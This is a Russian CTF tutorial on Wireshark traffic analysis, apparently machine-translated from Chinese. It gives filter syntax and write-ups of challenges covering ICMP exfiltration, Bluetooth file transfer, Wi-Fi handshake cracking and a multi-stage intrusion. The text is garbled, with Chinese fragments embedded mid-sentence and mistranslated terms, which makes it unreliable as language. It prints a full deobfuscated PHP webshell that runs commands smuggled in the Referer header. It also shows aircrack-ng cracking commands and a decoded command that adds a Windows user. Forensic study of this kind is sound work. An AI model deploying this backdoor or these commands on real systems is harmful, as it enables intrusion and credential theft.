В соревнованиях CTF,Для пакета трафика Анализ и сбор доказательств — очень важный тип вопросов.。Обычно такого рода вопросы предоставляют данные, содержащие данные о трафике.pcap
документ,Игроки фильтруют и фильтруют ненужную информацию о дорожном движении через этот файл.,Узнайте на основе ключевой информации о дорожном движенииflagили Связанные подсказки,в целомflagСпрятано в пакете данных,или需要从中提取一个документ出来等等,Также есть пакет рукопожатия для Wi-Fi.,Необходимо получить пароль Wi-Fi и т. д.
Все темы затронутые в этой статье Загрузка вложенияадрес: Связь:https://pan.baidu.com/s/18mWo5vn1zp_XbmcQrMOKRA Код извлечения: hrc4
下载адрес:https://www.wireshark.org/download.html
pcapПакет трафика
Анализ обычно выполняется с помощью графического сетевого сниффера.——Wireshark
непрерывный.
Основное использование Wireshark разделено на Фильтрация. пакетов、Поиск пакетов、Восстановление пакетов、извлечение данные четыре части.
Фильтрация исходных IP-адресов
Способ первый:
ip.src == исходный IP-адрес
Способ второй:
Выбранный IP-адрес источника является условием фильтрации пакетов.,оказатьсяInternet Protocol Version 4
внизSource
Поле。
щелкните правой кнопкой мышиSource
Поле,Выбрать еще разПрименить как фильтр
–-> последний кликвыбрано
,Вы можете отфильтровать все пакеты с этого IP-адреса источника.
фильтрация IP-адресов назначения
Способ первый:
ip.dst == IP-адрес назначения
Способ второй: Аналогично методу фильтрации IP-адресов источника, описанному выше.
Выбранный IP-адрес источника является условием фильтрации пакетов.,оказатьсяInternet Protocol Version 4
внизDestination
Поле。
щелкните правой кнопкой мышиDestination
Поле,Выбрать еще разПрименить как фильтр
–-> последний кликвыбрано
,Вы можете отфильтровать все пакеты IP-адреса назначения.
eth.dst ==A0:00:00:04:C5:84 Фильтровать целевой Mac-адрес
eth.addr==A0:00:00:04:C5:84 Фильтровать MAC-адрес
tcp.dstport == 80 Фильтровать пакеты трафика, порт назначения которых равен 80 протокола TCP.
tcp.srcport == 80 Фильтрация пакетов трафика с исходным портом 80 протокола TCP
udp.srcport == 80 Отфильтровать пакет, исходный порт протокола udp которого равен 80. трафика
tcp Фильтровать пакеты трафика с протоколом tcp
udp Фильтровать пакеты трафика с протоколом udp
arp/icmp/http/ftp/dns/ip Протокол фильтрации: пакет arp/icmp/http/ftp/dns/ip. трафика
udp.length ==20 Фильтровать пакеты UDP-трафика длиной 20
tcp.len >=20 Фильтрация пакетов TCP-трафика длиной более 20
ip.len ==20 Фильтровать пакеты IP-трафика длиной 20
frame.len ==20 Фильтровать весь пакет длиной 20 трафика
Метод запроса — GET: http.request.method=="GET" Фильтровать метод HTTP-запроса как GET Пакет трафика
Метод запроса — POST: http.request.method=="POST" Фильтровать метод HTTP-запроса как пакет POST трафика
Введите URI: http.request.uri==“/img/logo-edu.gif” Фильтрация HTTP-запросов для пакета с помощью URL-адреса /img/logo-edu.gif трафика
Запрос или ответ содержит определенное содержимое: http contains “FLAG” Фильтрация HTTP-содержимого для пакета /FLAG трафика
Нажмите «Ctrl+F» в интерфейсе Wireshark, чтобы выполнить поиск по ключевым словам:
Функция поиска Wireshark поддерживает регулярные выражения, строки, шестнадцатеричные и другие методы поиска. Обычно строки используются непосредственно для поиска.
В раскрывающемся списке в левой части панели поиска есть три параметра: список групп, сведения о группе и поток байтов группы, которые соответствуют трем частям интерфейса Wireshark. Выберите различные параметры, чтобы указать область поиска. идет поиск:
В Wireshark есть функция отслеживания потока, которая может собирать трафик HTTP или TCP и восстанавливать его до исходных данных. Конкретный метод работы заключается в следующем:
Выберите пакет трафика, который вы хотите восстановить, щелкните правой кнопкой мыши и выберите «Поток трассировки» — «Поток TCP/Поток UPD/Поток SSL/Поток HTTP».
Восстановленную информацию о пробках можно увидеть во всплывающем окне:
Wireshark поддерживает извлечение содержимого файлов, передаваемых (загруженных/выгруженных) через http. Метод заключается в следующем: Автоматически извлекать содержимое файлов, переданных по http документ->Экспортировать объект->HTTP
Найдите ценные файлы в списке открытых объектов,Например, сжатые файлы, текстовые файлы, аудиофайлы, изображения и т. д.,НажмитеSave
сохранять,илиSave All
保存所有верно象再进入документ夹进行анализировать。
Вручную извлечь содержимое файла, переданного через http
выбраноhttpдокумент传输Пакет трафика,在分组详情中оказатьсяdata
,Line-based text
, JPEG File Interchange Format
, data:text/html
слой,鼠标右键Нажмите – выбрано Экспортируйте пакетированный поток байтов.
Если это файл загрузки с помощью чоппера, вам необходимо удалить символы X@Y в начале и конце сгруппированного потока байтов, иначе загруженный файл будет неправильным. щелчок правой кнопкой мыши – выбрано Показать сгруппированные байты
Задайте начальный и конечный байты во всплывающем окне (прибавьте 3 к исходному количеству байтов в начале и вычтите 3 в конце)
последний кликSave as
кнопка экспорта。
CTFТипы вопросов в основном делятся на Пакет ремонт трафика、извлечение данных、WEBПакет трафикаанализировать、USBПакет трафикаанализировать、Взлом беспроводных паролей и промышленный контроль трафикаанализировать等等。
Источник вопроса: XCTF 3rd-HITB CTF-2017. Тестовая точка: извлечение изображения Информация о вопросе: (Cephalopod.pcapng)
Пакет данных открывается, и сгруппированный поток байтов запрашивается на наличие флага. Обнаружено, что слова flag.png отсутствуют, но такого файла изображения нет. Изображение должно находиться в потоке большей длины. Отслеживайте поток TCP в tcp.stream eq 2. Найдите где-нибудь файл изображения и сохраните его как исходные данные.
Удалите лишнюю часть перед PNG и сохраните как 1.png.
получить флаг
Источник названия: 7-й конкурс навыков сетевой безопасности среди студентов Шаньдунского университетского колледжа. Тестовые точки: поиск строки, передача информации по протоколу icmp. Информация о вопросе: (backdoor++.pcapng)
Найдите строку флага и получите приглашение flagisher здесь в icmp.
Каждый последующий пакет ICMP содержит символ флага.
Просмотрите все пакеты icmp последовательно, чтобы собрать воедино символы получить флагflag{Icmp_backdoor_can_transfer-some_infomation}
Источник вопроса: Geek Challenge, 7 сезон. Тестовая точка: протокол передачи Bluetooth obex,извлечение данных Информация о вопросе: (Blatand_1.pcapng)
Согласно подсказкам вопроса,Совместное использование мобильного телефона,Тогда это должна быть передача по Bluetooth,Протокол передачи BluetoothOBEX,После фильтрации выяснилось, что в нем находится сжатый пакет.
Способ первый:foremostПолучить сжатый пакет после разделения,Разархивироватьполучить флаг.gif
Способ второй:выбрано Содержитsecret.rarСумка,Действуйте следующим образом
Сохраните его как 1.rar и после распаковки получите flag.gif.
Источник вопроса: bugku Тестовая точка: взлом пароля беспроводной сети Информация о вопросе: (wifi.cap)
Загрузите пакет cap. В центре внимания аутентификации WIFI-соединения находится пакет четырехэтапного подтверждения WPA, который представляет собой пакет протокола eapol.
Конечно же, существует пакет четырехэтапного рукопожатия, и непосредственно выполняется взлом беспроводного пароля. Создайте словарь паролей:
crunch 11 11 -t 1391040%%%% >> wifipass.txt
Инструмент создания словарей Crunch под Linux Использование aircrack-ng взрывные работы
aircrack-ng -w wifipass.txt wifi.cap
получить флагflag{13910407686}
Источник вопроса: bugku Тестовые точки:Фильтрация пакетов,извлечение данных Информация о вопросе: (misc_fly.pcapng)
Сначала откройте пакет данных. Вопрос подсказывает поймать муху. Попробуйте поискать муху.
http contains "летать"
Я обнаружил подозрительную информацию. После тщательного анализа я обнаружил, что он отправлял электронные письма QQ и загружал файлы.
Теперь, когда файл загружен, давайте попробуем отфильтровать POST-запрос:
http.request.method==POST
можно увидеть13号数据Сумка调用函数CreateFile
,Тогда следующие могут быть содержимым файла.,Сколько конкретно?,Посмотрите внимательно на URL,738号数据Сумка有个需要调用函数CheckFile
,И пути предыдущих 5 URL-адресов пакетов одинаковы,
Итак, начиная с первого, следующие 5 пакетов представляют собой содержимое flag.rar.
Мы сохраняем исходные данные в сгруппированном потоке байтов как 1, 2, 3, 4 и 5 соответственно для удобства работы.
Но поскольку TCP-пакеты имеют заголовки файлов, нам необходимо удалить заголовки файлов, чтобы объединить исходные данные в файл. Как видно из первого пакета:
Размер файла — 525701 байт. Размеры этих 5 необходимых нам пакетов данных (можно посмотреть в разделе «Тип носителя»):
131436*4+1777=527521 527521-525701=1820 1820/5=364
Заголовок файла пакета TCP — 364.
а затем использоватьlinuxПросто используйте некоторые инструменты для работыполучить флаг.rar Удалите заголовки пяти файлов и по очереди сохраните их в другой файл. Используйте dd здесь:
dd if=1 bs=1 skip=364 of=1.1
Синтаксис команды dd:
if Введите имя файла
bs Установите размер каждого блока чтения и записи равным 1 байту.
skip Указывает, сколько блоков нужно пропустить с начала входного файла перед началом копирования.
of Имя выходного файла
Затем используйте входной поток Linux для объединения в файл:
cat 1.1 2.1 3.1 4.1 5.1 > fly.rar
или
copy /B 1.1+2.1+3.1+4.1+5.1 fly.rar
Тогда Fly.rar снова псевдо-шифруется, поэтому вам нужно открыть этот файл с помощью HXD и изменить 74 84 на 74 80, чтобы открыть его.
Разархивироватьполучить флаг.txt, открытый с помощью HXD, показывает, что он работает под Win32.
Так вот после смены исполняемого файла на exe появилась куча вылетов. . . . Binwalk обнаружил, что он содержит много изображений, сначала извлек его и получил QR-код.
Сканировать кодполучить флаг
Вопросы первый, второй, третий, четвертый. В вопросе было дано 10 пакетов трафика, только четыре из которых смогли проанализировать полезную информацию. Для удобства четыре пакета трафика анализируются по первой, второй, третьей и четвертой темам.
Подробности вопроса:
Источник вопроса: Конкурс данных по триатлону информационной безопасности 2018 г.
Требования к теме: 1. IP-адрес сетевой карты первого хоста-жертвы, атакованного хакером. 2.Какой параметр URL-адреса хакер реализовал SQL-инъекцию? 3. Префикс таблицы базы данных первого хост-сайта-жертвы (с подчеркиванием, например abc_). 4. Имя базы данных хост-сайта первой жертвы.
Открыть Пакет трафика,Пакет трафиканемного большой,Открытие происходит медленно,Здесь мы сначала фильтруем какHTTP协议можно увидеть202.1.1.2
верно192.168.1.8
进行了疯狂的爆破
Нетрудно заметить, что используемый хакерами SqlMap постоянно внедряет SQL-тесты на целевой сайт.
因此受害主机的网卡IPадресдля**192.168.1.8
**
Введенные параметры также можно четко увидеть.,для**list[select]
**
Отслеживайте HTTP-поток. По эхо-содержимому можно четко увидеть ошибки, возникающие в базе данных целевого сайта.
Определить базу целевого сайта несложно. данных表名前缀для**ajtuc_
**
Затем, чтобы определить имя базы данных хост-сайта жертвы, была проведена еще одна фильтрация.
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http
В это время выберите последнюю введенную полезную нагрузку для декодирования URL-адреса.
можно ясно увидеть
FROM joomla.ajtuc_users
Поэтому база данных名для**joomla
**
1. IP-адрес сетевой карты первого атакованного хоста-жертвы.
192.168.1.8
2.Какой параметр URL-адреса хакер выполнил SQL-инъекцию?
list[select]
3. База веб-сайта первой жертвы Префикс таблицы данных (с подчеркиванием, например abc_)
ajtuc_
4. База веб-сайта первой жертвы имя данных
Joomla
Источник вопроса: Конкурс данных по триатлону информационной безопасности 2018 г.
Требования к теме: 1. Какой пароль у PHP-трояна, который хакер получил впервые? 2. Когда хакер загрузил php-троян во второй раз? 3. Через какой заголовок HTTP-протокола передает данные второй загруженный троянец?
Целевой IP был определен согласно вопросу 1, поэтому для упрощения операции мы по-прежнему используем следующую фильтрацию.
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http
можно увидеть一个奇怪документkkkaaa.php
,Последующий просмотр данных POST
Нетрудно обнаружить, что это поток китайских кухонных ножей.,木马密码для**zzz
**
Затем определите время, когда хакер второй раз загрузил php-трояна.
Я отфильтровал его и догадался, что хакер загрузил второй троян на основе первого трояна.
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http.request.method==POST
В это время фрагмент данных особенно привлекателен.
Разбираем его шестнадцатеричный
Поместите сохраненное значение в HXD, чтобы получить исходный код.
Сохраните файл как php, но код запутан, добавьте следующие две строки кода в конце кода.
var_dump($j);
var_dump($x);
Запустите php для деобфускации и обнаружите, что это троян.
Это подтверждает, что этот поразительный пакет загрузил второго трояна.
因此上传时间для:17:20:44.248365
После благоустройства
$kh = "cb42";
$kf = "e130";
function x($t, $k)
{
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t{$i} ^ $k{$j};
}
}
return $o;
}
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
$u = parse_url($rr);
parse_str($u["query"], $q);
$q = array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
if ($q && $m) {
@session_start();
$s =& $_SESSION;
$ss = "substr";
$sl = "strtolower";
$i = $m[1][0] . $m[1][4];
$h = $sl($ss(md5($i . $kh), 0, 3));
$f = $sl($ss(md5($i . $kf), 0, 3));
$p = "";
for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
if (strpos($p, $h) === 0) {
$s[$i] = "";
$p = $ss($p, 3);
}
if (array_key_exists($i, $s)) {
$s[$i] .= $p;
$e = strpos($s[$i], $f);
if ($e) {
$k = $kh . $kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
$o = ob_get_contents();
ob_end_clean();
$d = base64_encode(x(gzcompress($o), $k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
Легко заметить, что на данный момент к HTTP-заголовку относятся два параметра.
$rr = @$_SERVER["HTTP_REFERER"];
$ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
Или используйте фильтрацию
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http
Затем вы увидите множество страниц, запрашивающих footer.php, нажмите на одну, чтобы просмотреть подробности.
Нетрудно обнаружить, что данные реферера очень подозрительны, тогда как ACCEPT_LANGUAGE более нормален.
Так что в принципе точно,Троян прошелHTTPв соглашении**Referer
**Данные заголовка
1. Какой пароль у трояна PHP, который я получил впервые?
zzz
2.Когда хакер второй раз загрузил php-трояна?
17:20:44.248365
3. Через какой заголовок HTTP-протокола передает данные второй загруженный троянец?
Referer
Источник вопроса: Конкурс данных по триатлону информационной безопасности 2018 г.
Требования к теме: 1. Каково имя пользователя mysql хоста интрасети и хеш пароля для запроса соединения (пользователь: хэш пароля) 2.К какому IP-адресу было подключено первое соединение при первом использовании php-прокси?
Фильтровать напрямую
tcp contains "mysql" && mysql
Получите много данных,Выяснилось, что хакер должен войти в Mysql., машина жертвы в интрасети — 192.168.2.20
Мы нашли последние данные для входа
Это значение и есть нужный нам хеш пароля MySQL. Просто отфильтруйте это
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http
На целевой машине установлен туннель.php для облегчения доступа из внешней сети к внутренней сети. Чтобы облегчить просмотр хакерских операций, мы фильтруем POST-запросы.
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http.request.method==POST && http
Мы ясно видим, что PHP-прокси хакера сначала подключается к IP-адресу 4.2.2.2 при первом использовании.
1. Каково имя пользователя mysql хоста интрасети и хеш пароля для запроса соединения (пользователь: хэш пароля)
admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
2.К какому IP-адресу было подключено первое соединение при первом использовании php-прокси?
4.2.2.2
Источник вопроса: Конкурс данных по триатлону информационной безопасности 2018 г.
Требования к теме: 1. Когда хакер впервые получил запрос на использование списка файлов в текущем каталоге? 2. Какое имя пользователя и пароль добавил хакер на хост интрасети? 3. Имя файла, загруженного хакером с сервера интрасети.
Чтобы определить, когда впервые произошел эксплойт-запрос хакера на получение списка файлов в текущем каталоге, мы продолжаем фильтровать
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "dir" || http contains "ls")
На данный момент один — ls, а другой — dir. Давайте сначала проверим ls. отследить его поток TCP
Было обнаружено, что выполнение не удалось, а затем проверили реж.
Таким образом, можно подтвердить, что целевой системой является Windows, и команда dir успешно выполнена.
时间для:18:37:38.482420
Поскольку машина по адресу 192.168.2.20 может выполнять команды, я изменил метод фильтрации, чтобы увидеть, как хакеры атакуют
ip.addr == 192.168.2.20 && http
Нетрудно обнаружить, что хакеры использовали команду echo для написания бэкдора с именем sh.php.
Далее мы отслеживали инструкции, выполняемые хакером. Поскольку это был трафик китайского вертолета, мы решили угадать инструкции на основе возвращаемого открытого текста, что более эффективно.
ip.src == 192.168.2.20 && http
В 18:50:09.344660,Нашли подозрительные операции, нашли фрагмент подозрительных данных,суждениехакер Это должно быть выполненоnet user
команда
Затем в 18:50:42.908737 было обнаружено, что хакер снова выполнил команду net user. На данный момент ответ такой:
Кажется, хакер успешно добавил пользователя-администратора Kaka. Определив примерное время совершения преступления, мы можем воспользоваться фильтрацией
ip.addr == 192.168.2.20 && http
Основываясь на предыдущих суждениях, мы можем знать В 18:49:27.767754 нет пользователя кака В 18:50:42.908737 пользователь kaka стал администратором Таким образом, можно сделать вывод, что время совершения преступления находилось в пределах этого периода времени.
За этот период было всего 4 POST-запроса. Мы проверили их один за другим. Как и ожидалось, проблема обнаружилась в первом POST.
Y2QvZCJDOlxwaHBTdHVkeVxXV1dcYjJldm9sdXRpb25caW5zdGFsbFx0ZXN0XCImbmV0IHVzZXIg
a2FrYSBrYWthIC9hZGQmZWNobyBbU10mY2QmZWNobyBbRV0=
После декодирования
cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user kaka kaka /add&echo [S]&cd&echo [E]
можно ясно увидеть
net user kaka kaka /add
Так что можно сделать вывод,用户名和密码均дляkaka
Поскольку последний вопрос касается скачивания, то скачивать его следует с помощью китайского кухонного ножа. Дальше только фильтруем пост-трафик и проверяем команду.
ip.dst == 192.168.2.20 && http.request.method==POST
Затем мы нашли следующие данные в конце пакета данных
мы декодируем это
Обнаружил, что использовался procdump.exe Также найдены файлы
Декодировано, чтобы получить
Наконец-то мы можем быть уверены,хакер Скачаноlsass.exe_180208_185247.dmp
документ
1.хакер Когда произошел первый запрос на использование уязвимости для получения списка файлов в текущем каталоге?
18:37:38.482420
2. Какие имя пользователя и пароль добавлены к узлу интрасети?
kaka:kaka
3.хакер Имя файла, скачанного с интранет-сервера
lsass.exe_180208_185247.dmp
ссылка: Анализ CTF-трафика с помощью Wireshark Углубленный анализ типов вопросов анализа трафика CTF CTF| Давайте вместе повеселимся и решим задачу анализа трафика! 5 мая 2018 г. Решение проблем, связанных с соревнованием данных по триатлону информационной безопасности